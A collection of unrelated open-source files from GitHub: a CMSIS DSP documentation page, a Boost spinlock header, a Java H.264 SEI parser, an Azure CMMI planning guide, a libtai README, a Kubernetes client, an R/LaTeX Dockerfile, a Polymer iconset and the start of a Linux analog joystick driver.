*&#160;</td> <td class="paramname"> <em>pDst</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">uint32_t&#160;</td> <td class="paramname"> <em>blockSize</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div> <div class="memdoc"> <p>Q7 vector addition. </p> <dl><dt><b>Parameters:</b></dt><dd> <table class="params"> <tr><td class="paramdir">[in]</td><td class="paramname">*pSrcA</td><td>points to the first input vector </td></tr> <tr><td class="paramdir">[in]</td><td class="paramname">*pSrcB</td><td>points to the second input vector </td></tr> <tr><td class="paramdir">[out]</td><td class="paramname">*pDst</td><td>points to the output vector </td></tr> <tr><td class="paramdir">[in]</td><td class="paramname">blockSize</td><td>number of samples in each vector </td></tr> </table> </dd> </dl> <dl class="return"><dt><b>Returns:</b></dt><dd>none.</dd></dl> <p><b>Scaling and Overflow Behavior:</b> </p> <dl class="user"><dt><b></b></dt><dd>The function uses saturating arithmetic. Results outside of the allowable Q7 range [0x80 0x7F] will be saturated. </dd></dl> <p>Definition at line <a class="el" href="arm__add__q7_8c_source.html#l00058">58</a> of file <a class="el" href="arm__add__q7_8c_source.html">arm_add_q7.c</a>.</p> </div> </div> </div> <!--- window showing the filter options --> <div id="MSearchSelectWindow" onmouseover="return searchBox.OnSearchSelectShow()" onmouseout="return searchBox.OnSearchSelectHide()" onkeydown="return searchBox.OnSearchSelectKey(event)"> <a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(0)"><span class="SelectionMark">&#160;</span>All</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(1)"><span class="SelectionMark">&#160;</span>Data Structures</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(2)"><span class="SelectionMark">&#160;</span>Files</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(3)"><span class="SelectionMark">&#160;</span>Functions</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(4)"><span class="SelectionMark">&#160;</span>Variables</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(5)"><span class="SelectionMark">&#160;</span>Typedefs</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(6)"><span class="SelectionMark">&#160;</span>Enumerations</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(7)"><span class="SelectionMark">&#160;</span>Enumerator</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(8)"><span class="SelectionMark">&#160;</span>Defines</a></div> <!-- iframe showing the search results (closed by default) --> <div id="MSearchResultsWindow"> <iframe src="" frameborder="0" name="MSearchResults" id="MSearchResults"> </iframe> </div> <hr class="footer"/><address class="footer"><small>Generated on Fri Jul 15 2011 13:16:19 for CMSIS DSP Software Library by&#160; <a href="http://www.doxygen.org/index.html"> <img class="footer" src="doxygen.png" alt="doxygen"/></a> 1.7.2 </small></address> </body> </html>
{ "pile_set_name": "Github" }
#ifndef BOOST_SMART_PTR_DETAIL_SPINLOCK_STD_ATOMIC_HPP_INCLUDED #define BOOST_SMART_PTR_DETAIL_SPINLOCK_STD_ATOMIC_HPP_INCLUDED // MS compatible compilers support #pragma once #if defined(_MSC_VER) && (_MSC_VER >= 1020) # pragma once #endif // // Copyright (c) 2014 Peter Dimov // // Distributed under the Boost Software License, Version 1.0. // See accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt) // #include <boost/smart_ptr/detail/yield_k.hpp> #include <atomic> namespace boost { namespace detail { class spinlock { public: std::atomic_flag v_; public: bool try_lock() { return !v_.test_and_set( std::memory_order_acquire ); } void lock() { for( unsigned k = 0; !try_lock(); ++k ) { boost::detail::yield( k ); } } void unlock() { v_ .clear( std::memory_order_release ); } public: class scoped_lock { private: spinlock & sp_; scoped_lock( scoped_lock const & ); scoped_lock & operator=( scoped_lock const & ); public: explicit scoped_lock( spinlock & sp ): sp_( sp ) { sp.lock(); } ~scoped_lock() { sp_.unlock(); } }; }; } // namespace detail } // namespace boost #define BOOST_DETAIL_SPINLOCK_INIT { ATOMIC_FLAG_INIT } #endif // #ifndef BOOST_SMART_PTR_DETAIL_SPINLOCK_STD_ATOMIC_HPP_INCLUDED
{ "pile_set_name": "Github" }
/* Copyright (c) 2011 Stanislav Vitvitskiy Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ package com.googlecode.mp4parser.h264.model; import com.coremedia.iso.IsoBufferWrapper; import com.googlecode.mp4parser.h264.read.CAVLCReader; import com.googlecode.mp4parser.h264.write.CAVLCWriter; import java.io.IOException; import java.io.OutputStream; import java.util.ArrayList; /** * Supplementary Enhanced Information entity of H264 bitstream * <p/> * capable to serialize and deserialize with CAVLC bitstream * * @author Stanislav Vitvitskiy */ public class SEI extends BitstreamElement { public static class SEIMessage { public int payloadType; public int payloadSize; public byte[] payload; public SEIMessage(int payloadType2, int payloadSize2, byte[] payload2) { this.payload = payload2; this.payloadType = payloadType2; this.payloadSize = payloadSize2; } } public SEIMessage[] messages; public SEI(SEIMessage[] messages) { this.messages = messages; } public static SEI read(IsoBufferWrapper is) throws IOException { CAVLCReader reader = new CAVLCReader(is); ArrayList<SEIMessage> messages = new ArrayList<SEIMessage>(); do { messages.add(sei_message(reader)); } while (reader.moreRBSPData()); reader.readTrailingBits(); return new SEI(messages.toArray(new SEIMessage[]{})); } private static SEIMessage sei_message(CAVLCReader reader) throws IOException { int payloadType = 0; while (reader.peakNextBits(8) == 0xFF) { reader.readNBit(8); payloadType += 255; } int last_payload_type_byte = (int) reader.readNBit(8, "SEI: last_payload_type_byte"); payloadType += last_payload_type_byte; int payloadSize = 0; while (reader.peakNextBits(8) == 0xFF) { reader.readNBit(8); payloadSize += 255; } int last_payload_size_byte = (int) reader.readNBit(8, "SEI: last_payload_size_byte"); payloadSize += last_payload_size_byte; byte[] payload = sei_payload(payloadType, payloadSize, reader); return new SEIMessage(payloadType, payloadSize, payload); } private static byte[] sei_payload(int payloadType, int payloadSize, CAVLCReader reader) throws IOException { return reader.read(payloadSize); } public void write(OutputStream out) throws IOException { CAVLCWriter writer = new CAVLCWriter(out); // TODO Auto-generated method stub writer.writeTrailingBits(); } }
{ "pile_set_name": "Github" }
--- title: CMMI process guidance, Project inception titleSuffix: Azure Boards description: Arrange the basic resources of the project in an initial stage. ms.technology: devops-agile ms.assetid: 193eee36-7d2a-4652-b905-7759cc60321e ms.topic: conceptual ms.author: kaelli author: KathrynEE monikerRange: '>= tfs-2013' ms.date: 01/20/2017 --- # Project inception [!INCLUDE [temp](../../../includes/version-all.md)] You arrange the basic resources of the project in an initial stage that is named Project Inception. ## <a name="PlanningMeeting"></a> Planning meeting At an early stage in the project, several stakeholders and subject matter experts should be convened to discuss the project and make the product plan. You should choose stakeholders based on the nature and complexity of the project and its product deliverable. Depending on the size of the project and its complexity, the meeting may take several days or weeks. ## <a name="Iterative"></a> Iterative development An important technique in risk management is planning your project in iterations, typically of four to six weeks. An iteration plan is a list of features that the project team will develop and test. Each feature specifies a task or an improved variant of a task that the user will be able to perform by using the product. At the end of each iteration, the planned features are demonstrated. At the end of some iterations, the partly completed product is released for trial by a limited set of users. The feedback from those demonstrations and trials is used to review the plan. The product plan is arranged so that the principal user scenarios and the main components of the system are exercised at an early stage, even if only in a simplified manner. One of the most significant risks in most projects is misunderstood requirements. Requirements can be misunderstood not only by the development team but also by the end users and stakeholders. They can find it difficult to envisage how their business activities will be affected by the installation of the new system. In addition, the business context may change during the lifespan of the project, leading to a change in the product requirements. An iterative process provides assurance that any adjustment in the requirements that is found by demonstrating the product can be accommodated before the end of the project, without incurring the costs of substantial rework. Another significant risk is poorly estimated development costs. It can be difficult for developers who work in a new area, and perhaps on a new platform, to make accurate estimates of development costs in advance of the project. In some cases, it can be difficult to determine whether a particular implementation strategy will perform sufficiently well. But by reviewing the plan at the end of each iteration, the team can consider the experience of the previous iterations. This is one reason why a good product plan schedules some work on every principal component at an early stage. ## <a name="ScopeOrDateDriven"></a> Is this a scope-driven or date-driven project? Some projects require that all the requirements must function before delivery. These kinds of projects are unusual in a software context. A real-world example might be building a bridge. A half-finished span is useless. On the other hand, a half-completed but properly planned software project should be deployable and usable for a limited set of users. It can then be completed incrementally over the course of several upgrades. First determine whether your project is truly scope-driven. If it is, you must wait to determine an end date until you have detailed estimates and a detailed plan. You pay a price for this. Planning overhead is increased, and schedule buffering as a contingency against poor estimation will push the delivery date out more, which increases costs. Therefore, before you decide that you have a scope-driven project, be absolutely sure. It is more probable in a complex systems-engineering environment than in a pure software product or service situation. Most software projects are date-driven because they can be delivered incrementally. For example, if a computer game is to be released for the holiday season in the United States, it must be ready by October. Failure to deliver in October will severely affect sales between Halloween and Christmas, and, if the schedule slips by two months, the window of opportunity may be lost altogether. ## <a name="PlanProjectResources"></a> Plan project resources A project should be staffed so that it can be delivered by the desired date. Historical data from previous projects should be used to inform a discussion about sufficient resources. After you understand your staff requirements, create a project organization chart that clearly identifies the project team structure, resourcing levels, and geographic distribution, if appropriate. Save all staffing information to your project portal. ## <a name="DefineRolesAndResponsibilities"></a> Define roles and responsibilities Describe each project role and its responsibilities, and publish them in the project plan. Each person who joins the project should understand their role and responsibilities in the project. ## <a name="DefineCommunicationPlan"></a> Define a communication plan It is important to define a communication plan for the project. Paths of communication help manage the coordination costs on the project. It is important to define who should attend meetings, how often meetings are held, paths of communication, and how to escalate issues that cannot be resolved by the usual attendees of any one meeting. The objective of a good communication plan is to make sure that coordination activities on the project run as smoothly as possible and to avoid wasted effort through miscommunication. The communication plan should be published to the project portal and maintained as it is required. A communication plan is a useful tool for all staff, particularly new members. It helps them understand how a larger team works and how to get things done by communicating appropriately in different ways, with different team members, and for different purposes. ## <a name="IdentifyStakeHolders"></a> Identify stakeholders Identify all relevant project stakeholders. In addition to the core team members, the list should include business people and technical people who have an interest in the successful implementation of the project or the effect that the product might have after it enters service. These stakeholders may be upstream or downstream of the software engineering activity. ## <a name="Outline"></a> Outline the project plan Create a sketch version of the first project plan, which can be revised when development starts. The purpose of this version is to help discuss resources and timescales with project sponsors. It should outline the major features and their estimated delivery dates. For more information, see [Plan a project](guidance-plan-a-project-cmmi.md). ## <a name="ReviewProjectPlan"></a> Review the project plan Publish the outline of the project plan on the project portal. Although much work has gone into the plan, it is still a high-level plan that defers many detailed scheduling decisions. This is intentional. Too much detail now will generate waste later. Where requirements are uncertain, plan them in outline only, and detail should be deferred until more information is available. Plan to obtain that information. Schedule a review meeting with all stakeholders. Face-to-face meetings are always best for this kind of activity. Be sure to schedule enough time to enable a full review and to allow dissenting opinions to be heard. ## <a name="ObtainProjectCommitments"></a> Obtain Project Commitments Now that the project plan is agreed upon with the project stakeholders, obtain commitments from each stakeholder to approve the project plan. Collect the commitments, and archive the details in the project portal. ## <a name="AdditionalResources"></a> Additional Resources For more information, see the following Web resources: - [A Practical Guide to Feature Driven Development](https://go.microsoft.com/fwlink/?LinkId=179021), Stephen R. Palmer and John Malcolm Felsing; Prentice Hall PTR, 2002. - [The IT Measurement Compendium: Estimating and Benchmarking Success with Functional Size Measurement](https://go.microsoft.com/fwlink/?LinkId=179022), Manfred Bundschuh and Carol Dekkers; Springer, 2008.
{ "pile_set_name": "Github" }
libtai is a library for storing and manipulating dates and times. libtai supports two time scales: (1) TAI64, covering a few hundred billion years with 1-second precision; (2) TAI64NA, covering the same period with 1-attosecond precision. Both scales are defined in terms of TAI, the current international real time standard. libtai provides an internal format for TAI64, struct tai, designed for fast time manipulations. The tai_pack() and tai_unpack() routines convert between struct tai and a portable 8-byte TAI64 storage format. libtai provides similar internal and external formats for TAI64NA. libtai provides struct caldate to store dates in year-month-day form. It can convert struct caldate, under the Gregorian calendar, to a modified Julian day number for easy date arithmetic. libtai provides struct caltime to store calendar dates and times along with UTC offsets. It can convert from struct tai to struct caltime in UTC, accounting for leap seconds, for accurate date and time display. It can also convert back from struct caltime to struct tai for user input. Its overall UTC-to-TAI conversion speed is 100x better than the usual UNIX mktime() implementation. This version of libtai requires a UNIX system with gettimeofday(). It will be easy to port to other operating systems with compilers supporting 64-bit arithmetic. The libtai source code is in the public domain.
{ "pile_set_name": "Github" }
require('./angular-locale_ks-arab'); module.exports = 'ngLocale';
{ "pile_set_name": "Github" }
/* Copyright The Kubernetes Authors. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // Code generated by client-gen. DO NOT EDIT. package v1beta1 import ( v1beta1 "k8s.io/api/authorization/v1beta1" "k8s.io/client-go/kubernetes/scheme" rest "k8s.io/client-go/rest" ) type AuthorizationV1beta1Interface interface { RESTClient() rest.Interface LocalSubjectAccessReviewsGetter SelfSubjectAccessReviewsGetter SelfSubjectRulesReviewsGetter SubjectAccessReviewsGetter } // AuthorizationV1beta1Client is used to interact with features provided by the authorization.k8s.io group. type AuthorizationV1beta1Client struct { restClient rest.Interface } func (c *AuthorizationV1beta1Client) LocalSubjectAccessReviews(namespace string) LocalSubjectAccessReviewInterface { return newLocalSubjectAccessReviews(c, namespace) } func (c *AuthorizationV1beta1Client) SelfSubjectAccessReviews() SelfSubjectAccessReviewInterface { return newSelfSubjectAccessReviews(c) } func (c *AuthorizationV1beta1Client) SelfSubjectRulesReviews() SelfSubjectRulesReviewInterface { return newSelfSubjectRulesReviews(c) } func (c *AuthorizationV1beta1Client) SubjectAccessReviews() SubjectAccessReviewInterface { return newSubjectAccessReviews(c) } // NewForConfig creates a new AuthorizationV1beta1Client for the given config. func NewForConfig(c *rest.Config) (*AuthorizationV1beta1Client, error) { config := *c if err := setConfigDefaults(&config); err != nil { return nil, err } client, err := rest.RESTClientFor(&config) if err != nil { return nil, err } return &AuthorizationV1beta1Client{client}, nil } // NewForConfigOrDie creates a new AuthorizationV1beta1Client for the given config and // panics if there is an error in the config. func NewForConfigOrDie(c *rest.Config) *AuthorizationV1beta1Client { client, err := NewForConfig(c) if err != nil { panic(err) } return client } // New creates a new AuthorizationV1beta1Client for the given RESTClient. func New(c rest.Interface) *AuthorizationV1beta1Client { return &AuthorizationV1beta1Client{c} } func setConfigDefaults(config *rest.Config) error { gv := v1beta1.SchemeGroupVersion config.GroupVersion = &gv config.APIPath = "/apis" config.NegotiatedSerializer = scheme.Codecs.WithoutConversion() if config.UserAgent == "" { config.UserAgent = rest.DefaultKubernetesUserAgent() } return nil } // RESTClient returns a RESTClient that is used to communicate // with API server by this client implementation. func (c *AuthorizationV1beta1Client) RESTClient() rest.Interface { if c == nil { return nil } return c.restClient }
{ "pile_set_name": "Github" }
FROM rocker/tidyverse:3.3.3 ## Add LaTeX, rticles and bookdown support RUN apt-get update \ && apt-get install -y --no-install-recommends \ ## for rJava default-jdk \ ## Nice Google fonts fonts-roboto \ ## used by some base R plots ghostscript \ ## used to build rJava and other packages libbz2-dev \ libicu-dev \ liblzma-dev \ ## system dependency of hunspell (devtools) libhunspell-dev \ ## system dependency of hadley/pkgdown libmagick++-dev \ ## rdf, for redland / linked data librdf0-dev \ ## for V8-based javascript wrappers libv8-dev \ ## R CMD Check wants qpdf to check pdf sizes, or throws a Warning qpdf \ ## for git via ssh key ssh \ ## for building pdfs via pandoc/LaTeX (These are large!) lmodern \ texlive-fonts-recommended \ texlive-generic-recommended \ texlive-humanities \ texlive-latex-extra \ texlive-science \ texinfo \ ## just because less \ vim \ && apt-get clean \ && rm -rf /var/lib/apt/lists/ \ && cd /usr/share/texlive/texmf-dist/tex/latex \ ## additional tex files needed for certain rticles templates && wget http://mirrors.ctan.org/macros/latex/contrib/ametsoc.zip \ && unzip ametsoc.zip \ && rm *.zip \ ## R manuals use inconsolata font, but texlive-fonts-extra is huge, so: && cd /usr/share/texlive/texmf-dist \ && wget http://mirrors.ctan.org/install/fonts/inconsolata.tds.zip \ && unzip inconsolata.tds.zip \ && rm *.zip \ && echo "Map zi4.map" >> /usr/share/texlive/texmf-dist/web2c/updmap.cfg \ && mktexlsr \ && updmap-sys \ ## Currently (2017-06-06) need devel PKI for ssl issue: https://github.com/s-u/PKI/issues/19 && install2.r -r http://rforge.net PKI \ ## And some nice R packages for publishing-related stuff && install2.r --error --deps TRUE \ bookdown rticles rmdshower ## Consider including: # - yihui/printr R package (when released to CRAN) # - libgsl0-dev (GSL math library dependencies) # - librdf0-dev
{ "pile_set_name": "Github" }
from building import * # The set of source files associated with this SConscript file. src = Split(''' src/dfs.c src/dfs_file.c src/dfs_fs.c src/dfs_posix.c ''') cwd = GetCurrentDir() CPPPATH = [cwd + "/include"] if GetDepend('RT_USING_POSIX'): src += ['src/poll.c', 'src/select.c'] group = DefineGroup('Filesystem', src, depend = ['RT_USING_DFS'], CPPPATH = CPPPATH) if GetDepend('RT_USING_DFS'): # search in the file system implementation list = os.listdir(cwd) for item in list: if os.path.isfile(os.path.join(cwd, item, 'SConscript')): group = group + SConscript(os.path.join(item, 'SConscript')) Return('group')
{ "pile_set_name": "Github" }
<!-- @license Copyright (c) 2015 The Polymer Project Authors. All rights reserved. This code may only be used under the BSD style license found at http://polymer.github.io/LICENSE.txt The complete set of authors may be found at http://polymer.github.io/AUTHORS.txt The complete set of contributors may be found at http://polymer.github.io/CONTRIBUTORS.txt Code distributed by Google as part of the polymer project is also subject to an additional IP rights grant found at http://polymer.github.io/PATENTS.txt --> <link rel="import" href="../../iron-icon/iron-icon.html"> <link rel="import" href="../iron-iconset-svg.html"> <iron-iconset-svg name="svg-sample-icons" size="100"> <svg> <defs> <g id="codepen"> <path class="outer-ring" d="M50,0C22.385,0,0,22.385,0,50c0,27.615,22.385,50,50,50c27.614,0,50-22.385,50-50C100,22.385,77.615,0,50,0z M50,91.789 C26.958,91.789,8.212,73.042,8.212,50C8.212,26.958,26.958,8.212,50,8.212c23.042,0,41.788,18.747,41.788,41.789 C91.788,73.042,73.042,91.789,50,91.789z"></path> <path class="inner-logo" d="M80.893,40.234c-0.006-0.039-0.016-0.076-0.022-0.115c-0.013-0.075-0.027-0.15-0.046-0.223 c-0.012-0.044-0.028-0.086-0.042-0.128c-0.021-0.065-0.042-0.13-0.068-0.193c-0.018-0.044-0.039-0.088-0.059-0.13 c-0.028-0.06-0.057-0.119-0.09-0.175c-0.024-0.042-0.051-0.083-0.076-0.124c-0.036-0.055-0.073-0.109-0.112-0.161 c-0.029-0.039-0.06-0.078-0.091-0.115c-0.042-0.049-0.086-0.098-0.132-0.143c-0.035-0.036-0.069-0.072-0.106-0.104 c-0.049-0.044-0.099-0.086-0.15-0.127c-0.04-0.031-0.079-0.062-0.12-0.091c-0.016-0.01-0.029-0.023-0.044-0.033L51.474,19.531 c-0.893-0.595-2.055-0.595-2.947,0L20.267,38.371c-0.015,0.01-0.028,0.023-0.044,0.033c-0.042,0.029-0.081,0.06-0.12,0.091 c-0.052,0.041-0.102,0.083-0.15,0.127c-0.037,0.032-0.071,0.068-0.106,0.104c-0.046,0.045-0.09,0.094-0.132,0.143 c-0.031,0.038-0.062,0.077-0.092,0.115c-0.039,0.052-0.076,0.106-0.111,0.161c-0.027,0.041-0.052,0.082-0.076,0.124 c-0.033,0.057-0.062,0.115-0.09,0.175c-0.021,0.042-0.042,0.086-0.06,0.13c-0.026,0.063-0.047,0.128-0.068,0.193 c-0.014,0.042-0.029,0.084-0.042,0.128c-0.02,0.073-0.032,0.148-0.046,0.223c-0.006,0.039-0.016,0.076-0.021,0.115 c-0.016,0.114-0.024,0.229-0.024,0.346V59.42c0,0.117,0.009,0.233,0.024,0.348c0.005,0.038,0.015,0.077,0.021,0.114 c0.014,0.075,0.027,0.149,0.046,0.223c0.012,0.043,0.028,0.086,0.042,0.128c0.021,0.065,0.042,0.13,0.068,0.195 c0.018,0.044,0.039,0.086,0.06,0.129c0.028,0.06,0.058,0.118,0.09,0.177c0.024,0.041,0.049,0.082,0.076,0.122 c0.035,0.056,0.072,0.109,0.111,0.161c0.029,0.041,0.061,0.078,0.092,0.115c0.042,0.049,0.086,0.098,0.132,0.144 c0.035,0.036,0.069,0.071,0.106,0.104c0.048,0.044,0.099,0.086,0.15,0.127c0.039,0.031,0.078,0.062,0.12,0.091 c0.016,0.01,0.029,0.023,0.044,0.032l28.259,18.84c0.446,0.297,0.96,0.447,1.474,0.447c0.513,0,1.027-0.149,1.473-0.447 l28.259-18.84c0.015-0.009,0.028-0.022,0.044-0.032c0.042-0.029,0.081-0.06,0.12-0.091c0.051-0.041,0.102-0.083,0.15-0.127 c0.037-0.033,0.071-0.068,0.106-0.104c0.046-0.046,0.09-0.095,0.132-0.144c0.031-0.037,0.062-0.075,0.091-0.115 c0.04-0.052,0.076-0.105,0.112-0.161c0.025-0.041,0.051-0.081,0.076-0.122c0.033-0.059,0.062-0.117,0.09-0.177 c0.02-0.042,0.041-0.085,0.059-0.129c0.026-0.065,0.047-0.13,0.068-0.195c0.014-0.042,0.03-0.085,0.042-0.128 c0.02-0.074,0.033-0.148,0.046-0.223c0.006-0.037,0.016-0.076,0.022-0.114c0.014-0.115,0.023-0.231,0.023-0.348V40.581 C80.916,40.464,80.907,40.348,80.893,40.234z M52.657,26.707l20.817,13.877l-9.298,6.221l-11.519-7.706V26.707z M47.343,26.707 v12.393l-11.518,7.706l-9.299-6.221L47.343,26.707z M24.398,45.554L31.046,50l-6.648,4.446V45.554z M47.343,73.294L26.525,59.417 l9.299-6.219l11.518,7.704V73.294z M50,56.286L40.603,50L50,43.715L59.397,50L50,56.286z M52.657,73.294V60.902l11.519-7.704 l9.298,6.219L52.657,73.294z M75.602,54.447L68.955,50l6.647-4.446V54.447z"></path> </g> <path id="twitter" d="M100.001,17.942c-3.681,1.688-7.633,2.826-11.783,3.339 c4.236-2.624,7.49-6.779,9.021-11.73c-3.965,2.432-8.354,4.193-13.026,5.146C80.47,10.575,75.138,8,69.234,8 c-11.33,0-20.518,9.494-20.518,21.205c0,1.662,0.183,3.281,0.533,4.833c-17.052-0.884-32.168-9.326-42.288-22.155 c-1.767,3.133-2.778,6.773-2.778,10.659c0,7.357,3.622,13.849,9.127,17.65c-3.363-0.109-6.525-1.064-9.293-2.651 c-0.002,0.089-0.002,0.178-0.002,0.268c0,10.272,7.072,18.845,16.458,20.793c-1.721,0.484-3.534,0.744-5.405,0.744 c-1.322,0-2.606-0.134-3.859-0.379c2.609,8.424,10.187,14.555,19.166,14.726c-7.021,5.688-15.867,9.077-25.48,9.077 c-1.656,0-3.289-0.102-4.895-0.297C9.08,88.491,19.865,92,31.449,92c37.737,0,58.374-32.312,58.374-60.336 c0-0.92-0.02-1.834-0.059-2.743C93.771,25.929,97.251,22.195,100.001,17.942L100.001,17.942z"></path> <g id="youtube"> <path class="youtube" d="M98.77,27.492c-1.225-5.064-5.576-8.799-10.811-9.354C75.561,16.818,63.01,15.993,50.514,16 c-12.495-0.007-25.045,0.816-37.446,2.139c-5.235,0.557-9.583,4.289-10.806,9.354C0.522,34.704,0.5,42.574,0.5,50.001 c0,7.426,0,15.296,1.741,22.509c1.224,5.061,5.572,8.799,10.807,9.352c12.399,1.32,24.949,2.145,37.446,2.14 c12.494,0.005,25.047-0.817,37.443-2.14c5.234-0.555,9.586-4.291,10.81-9.352c1.741-7.213,1.753-15.083,1.753-22.509 S100.51,34.704,98.77,27.492 M67.549,52.203L43.977,64.391c-2.344,1.213-4.262,0.119-4.262-2.428V38.036 c0-2.548,1.917-3.644,4.262-2.429l23.572,12.188C69.896,49.008,69.896,50.992,67.549,52.203"></path> </g> </defs> </svg> </iron-iconset-svg> <iron-iconset-svg name="inline" size="24"> <svg> <defs> <g id="shape"> <rect x="12" y="0" width="12" height="24" /> <circle cx="12" cy="12" r="12" /> </g> </defs> </svg> </iron-iconset-svg>
{ "pile_set_name": "Github" }
/* * Copyright (c) 1996-2001 Vojtech Pavlik */ /* * Analog joystick and gamepad driver for Linux */ /* * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * Should you need to contact me, the author, you can do so either by * e-mail - mail your message to <[email protected]>, or by paper mail: * Vojtech Pavlik, Simunkova 1594, Prague 8, 182 00 Czech Republic */ #include <linux/delay.h> #include <linux/kernel.h> #include <linux/module.h> #include <linux/slab.h> #include <linux/bitops.h> #include <linux/init.h> #include <linux/input.h> #include <linux/gameport.h> #include <linux/jiffies.h> #include <linux/timex.h> #define DRIVER_DESC "Analog joystick and gamepad driver" MODULE_AUTHOR("Vojtech Pavlik <[email protected]>"); MODULE_DESCRIPTION(DRIVER_DESC); MODULE_LICENSE("GPL"); /* * Option parsing. */ #define ANALOG_PORTS 16 static char *js[ANALOG_PORTS]; static unsigned int js_nargs; static int analog_options[ANALOG_PORTS]; module_param_array_named(map, js, charp, &js_nargs, 0); MODULE_PARM_DESC(map, "Describes analog joysticks type/capabilities"); /* * Times, feature definitions. */ #define ANALOG_RUDDER 0x00004 #define ANALOG_THROTTLE 0x00008 #define ANALOG_AXES_STD 0x0000f #define ANALOG_BTNS_STD 0x000f0 #define ANALOG_BTNS_CHF 0x00100 #define ANALOG_HAT1_CHF 0x00200 #define ANALOG_HAT2_CHF 0x00400 #define ANALOG_HAT_FCS 0x00800 #define ANALOG_HATS_ALL 0x00e00 #define ANALOG_BTN_TL 0x01000 #define ANALOG_BTN_TR 0x02000 #define ANALOG_BTN_TL2 0x04000 #define ANALOG_BTN_TR2 0x08000 #define ANALOG_BTNS_TLR 0x03000 #define ANALOG_BTNS_TLR2 0x0c000 #define ANALOG_BTNS_GAMEPAD 0x0f000 #define ANALOG_HBTN_CHF 0x10000 #define ANALOG_ANY_CHF 0x10700 #define ANALOG_SAITEK 0x20000 #define ANALOG_EXTENSIONS 0x7ff00 #define ANALOG_GAMEPAD 0x80000 #define ANALOG_MAX_TIME 3 /* 3 ms */ #define ANALOG_LOOP_TIME 2000 /* 2 * loop */ #define ANALOG_SAITEK_DELAY 200 /* 200 us */ #define ANALOG_SAITEK_TIME 2000 /* 2000 us */ #define ANALOG_AXIS_TIME 2 /* 2 * refresh */ #define ANALOG_INIT_RETRIES 8 /* 8 times */ #define ANALOG_FUZZ_BITS 2 /* 2 bit more */ #define ANALOG_FUZZ_MAGIC 36 /* 36 u*ms/loop */ #define ANALOG_MAX_NAME_LENGTH 128 #define ANALOG_MAX_PHYS_LENGTH 32 static short analog_axes[] = { ABS_X, ABS_Y, ABS_RUDDER, ABS_THROTTLE }; static short analog_hats[] = { ABS_HAT0X, ABS_HAT0Y, ABS_HAT1X, ABS_HAT1Y, ABS_HAT2X, ABS_HAT2Y }; static short analog_pads[] = { BTN_Y, BTN_Z, BTN_TL, BTN_TR }; static short analog_exts[] = { ANALOG_HAT1_CHF, ANALOG_HAT2_CHF, ANALOG_HAT_FCS }; static short analog_pad_btn[] = { BTN_A, BTN_B, BTN_C, BTN_X, BTN_TL2, BTN_TR2, BTN_SELECT, BTN_START, BTN_MODE, BTN_BASE }; static short analog_joy_btn[] = { BTN_TRIGGER, BTN_THUMB, BTN_TOP, BTN_TOP2, BTN_BASE, BTN_BASE2, BTN_BASE3, BTN_BASE4, BTN_BASE5, BTN_BASE6 }; static unsigned char analog_chf[] = { 0xf, 0x0, 0x1, 0x9, 0x2, 0x4, 0xc, 0x8, 0x3, 0x5, 0xb, 0x7, 0xd, 0xe, 0xa, 0x6 }; struct analog { struct input_dev *dev; int mask; short *buttons; char name[ANALOG_MAX_NAME_LENGTH]; char phys[ANALOG_MAX_PHYS_LENGTH]; }; struct analog_port { struct gameport *gameport; struct analog analog[2]; unsigned char mask; char saitek; char cooked; int bads; int reads; int speed; int loop; int fuzz; int axes[4]; int buttons; int initial[4]; int axtime; }; /* * Time macros. */ #ifdef __i386__ #include <linux/i8253.h> #define GET_TIME(x) do { if (cpu_has_tsc) rdtscl(x); else x = get_time_pit(); } while (0) #define DELTA(x,y) (cpu_has_tsc ? ((y) - (x)) : ((x) - (y) + ((x) < (y) ? PIT_TICK_RATE / HZ : 0))) #define TIME_NAME (cpu_has_tsc?"TSC":"PIT") static unsigned int get_time_pit(void) { unsigned long flags; unsigned int count; raw_spin_lock_irqsave(&i8253_lock, flags); outb_p(0x00, 0x43); count = inb_p(0x40); count |= inb_p(0x40) << 8; raw_spin_unlock_irqrestore(&i8253_lock, flags); return count; } #elif defined(__x86_64__) #define 